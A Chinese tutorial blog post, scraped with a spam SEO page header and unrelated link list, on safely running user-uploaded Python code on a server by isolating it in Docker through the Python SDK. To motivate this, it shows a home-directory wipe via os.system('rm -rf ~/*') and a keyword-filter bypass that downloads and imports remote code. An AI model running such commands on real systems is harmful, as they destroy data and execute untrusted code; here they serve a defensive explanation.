当前位置: 首页 > news >正文

温州seo代运营seo关键词报价查询

温州seo代运营,seo关键词报价查询,互联网应用技术学什么,wordpress侧边栏怎么加php代码写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。 涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行&…

写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.systemexecsubprocess……这些危险关键词不就可以了吗?

这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?

import requestscode = requests.get('https://www.kingname.info/dangerous_code').textwith open('dangerous_code.py', 'w') as f:f.write(code)dangerous_module = __import__('dangerous_code')
danderous_module.delete_all()

其中https://www.kingname.info/dangerous_code对应的代码如下:

import os
def delete_all():os.system('rm -rf ~/*')

这样就可以绕过关键字检查,并成功删除你的文件了。

如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的URL中,这样就能窃取你网站里面所有代码。

为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。

显然,最简单直接的办法,就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

首先,确保你的服务器上面已经有Docker,并且正在运行。接下来,安装Docker SDK:

pip install docker

假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面,那么,首先你需要生成一个Dockerfile,并把这个Dockerfile放到upload文件夹中:

from python:3.10run pip install -r requirements.txt
copy . /app
workdir /app

当用户添加/修改了第三方库时,你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

接下来,我们开始构建镜像并运行代码:

import docker
client = docker.from_env()client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

这个代码运行以后是非阻塞的,会立刻返回container对象。当你想查看代码日志时,执行:

container.logs(tail=10) # 显示最后10行日志

就可以看到相关的日志了。

http://www.yayakq.cn/news/363023/

相关文章:

  • 担保公司网站模板做视频分享网站的参考书
  • 网站维护的注意事项雪军miui一键优化
  • 网站建设找博网单机网页小游戏
  • 建筑行业资讯网站苏州 网站设计
  • 自助下单网站吉林新农村建设网站
  • 那里可以做工作室做网站做c语言的网站
  • 自己做的网站怎么发布到百度私活做网站
  • 娄底建设企业网站营销型网站手机端
  • 手机电脑网站建设wordpress数据表格
  • 衡水哪家制作网站好友点企业网站管理系统 模板
  • 天津网站建设教程常见的网络直接营销有哪些
  • 网站建设 上市公司购物网站排名2015
  • 局域网如何做视频网站建设莱阳seo外包
  • 江苏伟业建设集团网站织梦网站会员功能
  • 厦门企业官方网站建设apk打包工具
  • 自己做的网站用别的电脑怎么访问上海做兼职上哪个网站
  • 山东省春季高考网站建设试题佛山网站制作网页制作
  • 南昌网站建设推广用阿里云自己建设网站
  • 在哪个网站做劳动用工备案建设网站的机构
  • 怎样在百度上做网站广告设计专业是干什么的
  • 黄圃网站建设吴江企业网站建设
  • 西安网站建设模板手机app制作视频教程
  • 网页怎么做网站地图珠海做网站费用
  • 互助资金盘网站开发wordpress主题制做
  • 咸阳建设局网站品牌网站设计图片
  • 用织梦后台修改网站logo四川建设银行官网招聘网站
  • 国内很多网站不是响应式网页与网站建设
  • 杭州网站定制开发哪家好自适应型网站建设价格
  • 如何在导航网站上做链接wordpress 文件管理
  • 深圳市住房和建设局网站住房保障服务网站如何运营维护